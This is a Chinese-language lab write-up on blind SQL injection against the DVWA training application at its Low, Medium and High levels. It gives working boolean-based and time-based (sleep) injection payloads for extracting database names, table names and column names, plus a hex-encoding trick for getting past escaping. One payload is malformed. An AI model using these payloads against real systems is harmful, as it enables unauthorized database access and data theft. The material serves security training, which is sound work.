DVWA實驗-sql盲注

sql盲注:顧名思義,就是盲人注入,沒有頁面報錯信息可以分析了,那麼該怎麼呢?盲注又有哪些測試的方法呢?

盲注的測試類型:

  1. boolean注入
  2. 時間注入

我們接下來就來介紹如何去測試sql注入盲注,我們還是用dvwa來舉例子

Low級別

我們看到low級別同樣是輸入框,我們輸入了正常的1,返回結果爲:數據庫中存在用戶ID。

我們輸入惡意字符,同樣也返回結果爲:數據庫中缺少用戶ID。

我們輸入1'#返回正常

我們可以構造如下語句來判斷注入的類型

1' and 1=1 #

返回結果存在

1' and 1=2#

返回結果不存在

由此我們可以判斷出該輸入框存在盲注,且注入類型爲字符型注入

那麼接下來我們可以構造sql語句來猜解數據庫等

我們首先判斷數據庫長度,可以構造如下poc,使用length函數來判斷字符串長度

1' and length(database())>5 #

返回結果

1' and length(database())>3#

由此我們可以看出當前鏈接數據庫名的長度大於3小於5,長度爲4

那麼我們繼續判斷數據庫名稱的字符組成元素,此時利用substr()函數從給定的字符串中,從指定位置開始截取指定長度的字符串,分離出數據庫名稱的每個位置的元素,並分別將其轉換爲ASCII碼,與對應的ASCII碼值比較大小,找到比值相同時的字符,然後各個擊破。

mysql數據庫中的字符串函數 substr()函數和hibernate的substr()參數都一樣,但含義有所不同。

用法:
substr(string string,num start,num length);
string爲字符串;
start爲起始位置;
length爲長度。

區別:
mysql中的start是從1開始的,而hibernate中的start是從0開始的。

在構造語句比較之前,先查詢以下字符的ASCII碼的十進制數值作爲參考:

字符 ASCII碼-10進制   字符 ASCII碼-10進制
a 97 ==> z 122
A 65 ==> Z 90
0 48 ==> 9 57
_ 95   @ 64

以上常規可能用到的字符的ASCII碼取值範圍:[48,122]
當然也可以擴大範圍,在ASCII碼所有字符的取值範圍中篩選:[0,127]

1' and ascii(substr(database(),1,1))>88 # exists

猜解表的個數
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #

猜解第一個表的表名長度

1' and   length( substr( (select count(table_name) from information_schema.tables where table_schema=database())1))>10#

猜解第一個表的表名的第一個字符

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

我們可以依此類推,將剩下的字符一一爆破

Medium級別

判斷是否存在注入,注入的類型
雖然前端界面上只能通過下拉列表選擇數字,提交後查詢顯示的都是"exists",但是抓包工具修改數據重放之後是可以在工具中觀察到響應數據有"MISSING"和"exists"兩種返回結果的,如下:

由此我們可以判斷出該級別存在注入,且注入類型爲數字型注入,接下來我們猜解當前連接數據庫長度,我們會用到sleep()這個函數以及if判斷

對於 if(判斷條件,sleep(n),1) 函數而言,若判斷條件爲真,則執行sleep(n)函數,達到在正常響應時間的基礎上再延遲響應時間n秒的效果;若判斷條件爲假,則返回設置的1(真),此時不會執行sleep(n)函數

我們構造如下語句:

輸入 輸出(Response Time)
1 and if(length(database())=4,sleep(2),1) # 2031 ms
1 and if(length(database())=5,sleep(2),1) # 26 ms
1 and if(length(database())>10,sleep(2),1) # 30 ms

以上根據響應時間的差異,可知當前連接數據庫名稱的字符長度=4,此時確實執行了sleep(2)函數,使得響應時間比正常響應延遲2s(2000ms)

輸入 輸出
1 and if(ascii(substr(database(),1,1))>88,sleep(2),1) # 2049 ms
1 and if(ascii(substr(database(),1,1))>105,sleep(2),1) # 19 ms

可以看到,當前連接數據庫名稱的第一個字符的ascii碼爲100,對應字母爲d

後續過程與low級別類似,不過遇到了對特殊字符進行轉義處理的時候,我們可以轉換程16進制的形式繞過限制,從而提交到數據庫進行查詢.

如:猜解表中的字段名時,猜解字段名的長度(對字段值users進行16進制轉換爲0x7573657273

Low級別 Medium級別
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # 1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #
---------------------------------------------------------
1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(2),1) #

 

High級別

high級別通過代碼分析,我們發現並沒有做任何過濾,只是將查詢輸入頁面和結果顯示頁面分開了,照樣可以抓包繞過,並且代碼只做了限制顯示的結果數,沒有做過濾。繞過和暴力破解的方式和low級別類似,對於LIMIT 1的限制輸出記錄數目,可以利用#註釋其限制;服務端可能會隨機執行sleep()函數,做執行,則延遲的時間是隨機在2-4s,這樣會對正常的基於時間延遲的盲注測試造成干擾。因此可以考慮用基於布爾的盲注進行測試:

借鑑的優秀文章

DVWA全等級SQL Injection(Blind)盲注--手工測試過程解析

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章